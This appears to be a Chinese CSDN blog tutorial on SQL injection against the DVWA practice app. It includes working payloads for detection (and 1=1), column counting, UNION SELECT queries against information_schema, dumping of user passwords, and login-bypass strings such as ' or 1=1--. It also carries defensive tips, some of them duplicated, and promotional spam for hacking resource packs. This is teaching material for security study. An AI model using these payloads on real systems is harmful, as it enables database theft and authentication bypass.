sql注入实战篇

SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,实质就是将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。以Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性,正是有了这种懒惰的程序员SQL注入一直没有消失。这种漏洞不是不可以避免,只是程序员没有这种安全意识。

对于注入漏洞来说,可能现在很多人认为它已经过时,因为这种漏洞可以被参数化查询而杜绝。以前对这种漏洞的防御方式主要有三种:

字符串检测:限定内容只能由英文、数字等常规字符,如果检查到用户输入有特殊字符,直接拒绝。但缺点是,系统中不可避免地会有些内容包含特殊字符,这时候总不能拒绝入库。

字符串替换:把危险字符替换成其他字符,缺点是危险字符可能有很多,一一枚举替换相当麻烦,也可能有漏网之鱼。

存储过程:把参数传到存储过程进行处理,但并不是所有数据库都支持存储过程。如果存储过程中执行的命令也是通过拼接字符串出来的,还是会有漏洞。

我们还是来实践吧,这样更好理解。

我们先看一下实验的大致思路

(1)找注入并确认(经典的and 1=1 and1=2)

(2)查询基本信息(数据库类型、数据库名、应用程序类型以及系统类型)

(3)查表名、字段名,拿到想查询的内容

首先我们看一下源码

图片1.png

这就是这一段sql查询语句造成了最常见的SQL注入。我们继续实验,这次利用到了dvwa,我们登录dvwa然后选择SQL Injection
底下难度选择low。

图片2.png

图片3.png

图片4.png

先进行sql注入的第一步测试是否存在sql注入漏洞。

ID等于1的时候可以正常回显

图片5.png

And 1=1可以正常回显

图片6.png

And 1=2返回错误

图片7.png

这里直接返回了首页,和and 1=1返回的页面不一样。这里存在SQL注入。

为什么这样就判断有sql注入了呢?原理是把测试语句代入到了数据库查询,and就是逻辑运算,1=1为真,1=2为假,所以返回不同。

好我们接下来进行第二步判断字段数,order by 2返回正常order by 3返回错误。

图片8.png

字段数已经判断出来,下面如何进一步判断数据库名和用户名等基本信息。

利用语句查询知道有两个字段,接着查询数据库名和用户。

查询数据库等基本信息。

UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZhvGsB0s-1690792430234)(https://image.3001.net/images/20210702/1625217819_60dedb1b28b499dce06c1.png!small)]

这是直接返回了数据库的usr database version。我们知道数据库的名字不就可以利用查询语句找到表的名字。

查询表段

union select 1,table_name from information_schema.tables where
table_schema=0x64767761(数据库的十六进制)

图片10.png

查询列名

union select 1,column_name from information_schema.columns where
table_name=0x7573657273(表的十六进制) and table_schema=0x64767761(数据库的十六进制)

图片11.png

查询用户名密码

union select password,user from users

图片12.png

这就把用户名跟密码爆出来了。

sql注入还不止这点,还有很多类型:

1)注入分为哪几种类型?分类依据是什么?是否唯一?

2)普通注入和盲注的区别是什么?利用方法有什么不同?

本次的实验就介绍到这里,注意多加总结和思考课后问题!我们学习的目的除了了解之外,更重要的是学习如何防范SQL注入。在面对SQL注入攻击的时候,了解其原理才能更好的防范。

下面总结几点防范SQL注入攻击的要点:

1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。

2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

数据库连接。

4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

👉网安(嘿客)全套学习视频👈

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

img

img

👉网安(嘿客红蓝对抗)所有方向的学习路线****👈

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

img

学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

在这里插入图片描述

面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述

👉嘿客必备开发工具👈

工欲善其事必先利其器。学习客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

在这里插入图片描述

如果你有需要可以点击👉2023最新500g黑客网安资料&网络安全入门&进阶学习资源包
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,我要强调一点:SQL注入攻击是非常危险的,可以导致数据泄露、系统瘫痪等严重后果。所以,在进行实验之前,请确保你正在使用的是测试环境而不是真实的生产环境。 下面是一个简单的实验,演示如何进行SQL注入攻击: 1. 准备工作 首先,需要准备一个测试环境。可以使用一些开源的Web应用程序,如DVWA (Damn Vulnerable Web Application) 或 bWAPP 等。这些应用程序都是专门设计用于测试和学习Web应用程序安全性的。 2. 确认存在漏洞 打开Web应用程序,尝试在输入框中输入一些SQL语句,看看是否可以成功执行。如果能执行,那么就说明这个应用程序存在SQL注入漏洞。 例如,在一个登录页面中,输入以下语句: ``` ' or 1=1-- ``` 如果能够登录成功,那么就说明存在SQL注入漏洞。这个语句的作用是将输入的用户名和密码均设置为1=1,这样就可以跳过正常的身份验证过程。 3. 获取数据 一旦确认存在SQL注入漏洞,就可以开始尝试获取数据了。下面是一个示例: 假设存在一个查询页面,可以根据输入的用户ID来查询用户的详细信息。在输入框中输入以下语句: ``` 1' or '1'='1 ``` 这个语句的作用是将查询条件设置为1=1,这样就会返回所有用户的详细信息。如果能够成功获取到数据,就说明攻击成功了。 4. 防范措施 为了防止SQL注入攻击,可以采取以下措施: - 使用参数化查询,而不是拼接SQL语句 - 对用户输入的数据进行严格的验证和过滤,防止恶意输入 - 限制数据库用户的权限,不要使用具有过高权限的账户连接数据库 总之,SQL注入攻击是一种非常危险的攻击方式,需要我们时刻保持警惕,并采取相应的防范措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值